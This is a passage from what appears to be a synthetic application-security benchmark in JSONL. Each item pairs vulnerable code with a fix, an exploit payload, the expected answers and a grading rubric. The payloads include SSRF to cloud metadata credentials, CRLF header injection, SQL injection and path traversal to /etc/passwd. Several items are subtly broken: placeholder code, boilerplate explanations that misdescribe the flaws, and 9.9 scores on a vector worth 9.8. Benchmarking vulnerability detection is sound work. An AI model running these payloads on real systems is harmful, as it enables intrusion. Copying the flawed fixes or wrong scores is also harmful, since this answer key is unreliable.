10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["rag-security", "cwe-1427", "owasp-a052021", "python", "django", "real-world-enterprise"], "references": ["https://owasp.org/www-project-top-10-for-large-language-model-applications/", "https://cwe.mitre.org/data/definitions/1427.html"], "metadata": {"difficulty": "Real-world enterprise", "category": "AI Security", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "LLM02:2025", "cwe": "CWE-1427", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000364", "title": "Server-Side Request Forgery in TypeScript (Angular)", "category": "Injection", "language": "TypeScript", "framework": "Angular", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Server-Side Request Forgery", "vulnerability_description": "A server fetches a URL built from user input, letting an attacker reach internal services, cloud metadata endpoints, or ports not exposed publicly.", "vulnerable_code": "app.post(\"/api/export\", async (req, res) => {\n const url: string = req.body.url;\n // VULNERABLE\n const r = await fetch(url);\n res.send(await r.text());\n});", "secure_code": "app.post(\"/api/export\", async (req, res) => {\n const url: string = req.body.url;\n // SECURE: allow-list host + block metadata\n const h = new URL(url).hostname;\n if (!ALLOWED.has(h) || h.endsWith(\".internal\")) return res.sendStatus(403);\n const r = await fetch(url);\n res.send(await r.text());\n});", "exploit_example": "POST /api/export {\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}", "exploitability_explanation": "The 'Server-Side Request Forgery' weakness (CWE-918, A10:2021) is exploitable because the TypeScript implementation in the Angular context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to the endpoint that fetches a user-supplied URL.", "expected_llm_analysis": "The model/tool should flag 'Server-Side Request Forgery' (CWE-918, mapped to A10:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Server-Side Request Forgery' (CWE-918, mapped to A10:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Allow-list schemes/hosts, resolve and compare to a deny-list of internal ranges, block link-local/metadata IPs, and require auth for the fetcher.", "expected_secure_code": "app.post(\"/api/export\", async (req, res) => {\n const url: string = req.body.url;\n // SECURE: allow-list host + block metadata\n const h = new URL(url).hostname;\n if (!ALLOWED.has(h) || h.endsWith(\".internal\")) return res.sendStatus(403);\n const r = await fetch(url);\n res.send(await r.text());\n});", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-918", "expected_owasp": "A10:2021", "expected_owasp_api": "API7:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["server-side-request-forgery", "cwe-918", "owasp-a102021", "typescript", "angular", "intermediate"], "references": ["https://owasp.org/www-community/attacks/Server_Side_Request_Forgery", "https://cwe.mitre.org/data/definitions/918.html"], "metadata": {"difficulty": "Intermediate", "category": "Injection", "owasp": "A10:2021", "owasp_api": "API7:2023", "owasp_llm": "", "cwe": "CWE-918", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000420", "title": "Sensitive Data Logging in Kotlin (Android)", "category": "Security Misconfiguration", "language": "Kotlin", "framework": "Android", "application_type": "Mobile Application", "source_type": "synthetic", "vulnerability_name": "Sensitive Data Logging", "vulnerability_description": "Credentials, tokens, or PII are written to logs in cleartext, widening the blast radius of a log compromise.", "vulnerable_code": "fun renderView(u: String, p: String) = log.info(\"login $u $p\")", "secure_code": "fun processRequest(u: String, p: String) = log.info(\"login $u ***\")", "exploit_example": "Log pipeline compromise -> harvest tokens/passwords.", "exploitability_explanation": "The 'Sensitive Data Logging' weakness (CWE-532, A09:2021) is exploitable because the Kotlin implementation in the Android context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Read access to application or centralized log storage.", "expected_llm_analysis": "The model/tool should flag 'Sensitive Data Logging' (CWE-532, mapped to A09:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Sensitive Data Logging' (CWE-532, mapped to A09:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Redact secrets/PII before logging; use structured logging with field masking.", "expected_secure_code": "fun processRequest(u: String, p: String) = log.info(\"login $u ***\")", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-532", "expected_owasp": "A09:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["sensitive-data-logging", "cwe-532", "owasp-a092021", "kotlin", "android", "beginner"], "references": ["https://cwe.mitre.org/data/definitions/532.html", "https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/"], "metadata": {"difficulty": "Beginner", "category": "Security Misconfiguration", "owasp": "A09:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-532", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000021", "title": "Broken Authorization in PHP (Laravel)", "category": "Authorization", "language": "PHP", "framework": "Laravel", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Broken Authorization", "vulnerability_description": "A function performs a sensitive action without verifying the caller is permitted to do so (missing authorization check).", "vulnerable_code": "// PHP: authz example", "secure_code": "// PHP: authz secure", "exploit_example": "Low-priv user calls delete on another tenant's resource.", "exploitability_explanation": "The 'Broken Authorization' weakness (CWE-862, A01:2021) is exploitable because the PHP implementation in the Laravel context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "A valid session and the ability to invoke a function directly.", "expected_llm_analysis": "The model/tool should flag 'Broken Authorization' (CWE-862, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Broken Authorization' (CWE-862, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Check the caller's permission for the specific action before performing it; default to denied.", "expected_secure_code": "// PHP: authz secure", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-862", "expected_owasp": "A01:2021", "expected_owasp_api": "API5:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.3, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["broken-authorization", "cwe-862", "owasp-a012021", "php", "laravel", "expert"], "references": ["https://cwe.mitre.org/data/definitions/862.html", "https://owasp.org/Top10/A01_2021-Broken_Access_Control/"], "metadata": {"difficulty": "Expert", "category": "Authorization", "owasp": "A01:2021", "owasp_api": "API5:2023", "owasp_llm": "", "cwe": "CWE-862", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000536", "title": "Business Logic in TypeScript (NestJS)", "category": "Business Logic", "language": "TypeScript", "framework": "NestJS", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Business Logic", "vulnerability_description": "The application enforces no invariant for a workflow (negative quantity, replayed coupon, price override), leading to abuse.", "vulnerable_code": "function resolveTarget(body){ // VULNERABLE: trusts client total\n charge(body.total); }", "secure_code": "function getItem(body){ // SECURE: recompute\n const total = body.items.reduce((s,i)=>s+price(i)*i.qty,0); charge(total); }", "exploit_example": "Send total:0.01 for a $500 cart -> undercharged.", "exploitability_explanation": "The 'Business Logic' weakness (CWE-840, A04:2021) is exploitable because the TypeScript implementation in the NestJS context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Understanding of the workflow and the ability to replay or craft requests.", "expected_llm_analysis": "The model/tool should flag 'Business Logic' (CWE-840, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Business Logic' (CWE-840, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce server-side invariants (non-negative amounts, single-use tokens, server-computed totals) and treat the client as untrusted.", "expected_secure_code": "function getItem(body){ // SECURE: recompute\n const total = body.items.reduce((s,i)=>s+price(i)*i.qty,0); charge(total); }", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-840", "expected_owasp": "A04:2021", "expected_owasp_api": "API6:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.45, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["business-logic", "cwe-840", "owasp-a042021", "typescript", "nestjs", "real-world-enterprise"], "references": ["https://cwe.mitre.org/data/definitions/840.html", "https://owasp.org/Top10/A04_2021-Insecure_Design/"], "metadata": {"difficulty": "Real-world enterprise", "category": "Business Logic", "owasp": "A04:2021", "owasp_api": "API6:2023", "owasp_llm": "", "cwe": "CWE-840", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000467", "title": "Header Injection in TypeScript (Vue)", "category": "Injection", "language": "TypeScript", "framework": "Vue", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Header Injection", "vulnerability_description": "Unsanitized input is placed into response or request headers, allowing response splitting or header smuggling.", "vulnerable_code": "function lookup(req,res){ // VULNERABLE\n res.setHeader(\"X-Dest\", req.query.dest); }", "secure_code": "function exportData(req,res){ // SECURE\n const d = String(req.query.dest).replace(/[\\r\\n]/g,\"\"); res.setHeader(\"X-Dest\", d); }", "exploit_example": "dest=value%0d%0aSet-Cookie:admin=1 -> response splitting.", "exploitability_explanation": "The 'Header Injection' weakness (CWE-113, A03:2021) is exploitable because the TypeScript implementation in the Vue context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to supply header-influencing input to the endpoint.", "expected_llm_analysis": "The model/tool should flag 'Header Injection' (CWE-113, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Header Injection' (CWE-113, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Validate/encode header values and strip CRLF; never interpolate raw input into headers.", "expected_secure_code": "function exportData(req,res){ // SECURE\n const d = String(req.query.dest).replace(/[\\r\\n]/g,\"\"); res.setHeader(\"X-Dest\", d); }", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-113", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["header-injection", "cwe-113", "owasp-a032021", "typescript", "vue", "advanced"], "references": ["https://cwe.mitre.org/data/definitions/113.html", "https://owasp.org/www-community/attacks/HTTP_Response_Splitting"], "metadata": {"difficulty": "Advanced", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-113", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000349", "title": "Hardcoded Secrets in C++", "category": "Cryptographic Failures", "language": "C++", "framework": "None", "application_type": "Library / CLI", "source_type": "synthetic", "vulnerability_name": "Hardcoded Secrets", "vulnerability_description": "Credentials, API keys, or private keys are embedded in source code, exposing them to anyone with repository access.", "vulnerable_code": "// C++: secret example", "secure_code": "// C++: secret secure", "exploit_example": "Read repo -> extract live key -> call API as the service.", "exploitability_explanation": "The 'Hardcoded Secrets' weakness (CWE-798, A02:2021) is exploitable because the C++ implementation in the None context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Read access to the source repository, binary, or a leaked environment.", "expected_llm_analysis": "The model/tool should flag 'Hardcoded Secrets' (CWE-798, mapped to A02:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Hardcoded Secrets' (CWE-798, mapped to A02:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Load secrets from a vault/env at runtime; never commit them; rotate any exposed credential immediately.", "expected_secure_code": "// C++: secret secure", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-798", "expected_owasp": "A02:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["hardcoded-secrets", "cwe-798", "owasp-a022021", "c++", "beginner"], "references": ["https://cwe.mitre.org/data/definitions/798.html", "https://owasp.org/Top10/A02_2021-Cryptographic_Failures/"], "metadata": {"difficulty": "Beginner", "category": "Cryptographic Failures", "owasp": "A02:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-798", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000145", "title": "SQL Injection in Python (Django)", "category": "Injection", "language": "Python", "framework": "Django", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "SQL Injection", "vulnerability_description": "Untrusted input is concatenated into a SQL query string, allowing an attacker to alter the query's structure and read or modify data.", "vulnerable_code": "def resolveTarget(request):\n email = request.GET.get(\"email\")\n # VULNERABLE: extra() with raw SQL\n rows = orders.objects.extra(where=[f\"email = '{email}'\"])\n return JsonResponse({\"data\": list(rows.values())})", "secure_code": "def handleInput(request):\n email = request.GET.get(\"email\")\n # SECURE: ORM filter\n rows = orders.objects.filter(email=email)\n return JsonResponse({\"data\": list(rows.values())})", "exploit_example": "GET /api/config?email=1'+OR+1=1-- -> returns all rows", "exploitability_explanation": "The 'SQL Injection' weakness (CWE-89, A03:2021) is exploitable because the Python implementation in the Django context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to the affected endpoint; ability to supply a crafted parameter value.", "expected_llm_analysis": "The model/tool should flag 'SQL Injection' (CWE-89, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'SQL Injection' (CWE-89, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Use parameterized/prepared statements or a safe ORM query builder; never concatenate input into SQL.", "expected_secure_code": "def handleInput(request):\n email = request.GET.get(\"email\")\n # SECURE: ORM filter\n rows = orders.objects.filter(email=email)\n return JsonResponse({\"data\": list(rows.values())})", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-89", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["sql-injection", "cwe-89", "owasp-a032021", "python", "django", "beginner"], "references": ["https://owasp.org/www-community/attacks/SQL_Injection", "https://cwe.mitre.org/data/definitions/89.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"], "metadata": {"difficulty": "Beginner", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-89", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000017", "title": "Path Traversal in JavaScript (Next.js)", "category": "Injection", "language": "JavaScript", "framework": "Next.js", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Path Traversal", "vulnerability_description": "User-controlled file paths are joined to a base directory without canonicalization, allowing read or write outside the intended root.", "vulnerable_code": "app.get(\"/api/users\", (req, res) => {\n const fn = req.query.filename;\n // VULNERABLE\n res.sendFile(path.join(BASE_DIR, fn));\n});", "secure_code": "app.get(\"/api/users\", (req, res) => {\n const fn = req.query.filename;\n // SECURE: resolve + containment check\n const full = path.resolve(BASE_DIR, fn);\n if (!full.startsWith(path.resolve(BASE_DIR))) return res.sendStatus(403);\n res.sendFile(full);\n});", "exploit_example": "GET /api/users?filename=../../../../etc/passwd", "exploitability_explanation": "The 'Path Traversal' weakness (CWE-22, A01:2021) is exploitable because the JavaScript implementation in the Next.js context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to influence a file path joined to a server base directory.", "expected_llm_analysis": "The model/tool should flag 'Path Traversal' (CWE-22, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Path Traversal' (CWE-22, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Canonicalize the resolved path and confirm it stays within the base directory; validate against an allow-list of filenames/IDs.", "expected_secure_code": "app.get(\"/api/users\", (req, res) => {\n const fn = req.query.filename;\n // SECURE: resolve + containment check\n const full = path.resolve(BASE_DIR, fn);\n if (!full.startsWith(path.resolve(BASE_DIR))) return res.sendStatus(403);\n res.sendFile(full);\n});", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-22", "expected_owasp": "A01:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["path-traversal", "cwe-22", "owasp-a012021", "javascript", "next.js", "real-world-enterprise"], "references": ["https://owasp.org/www-community/attacks/Path_Traversal", "https://cwe.mitre.org/data/definitions/22.html"], "metadata": {"difficulty": "Real-world enterprise", 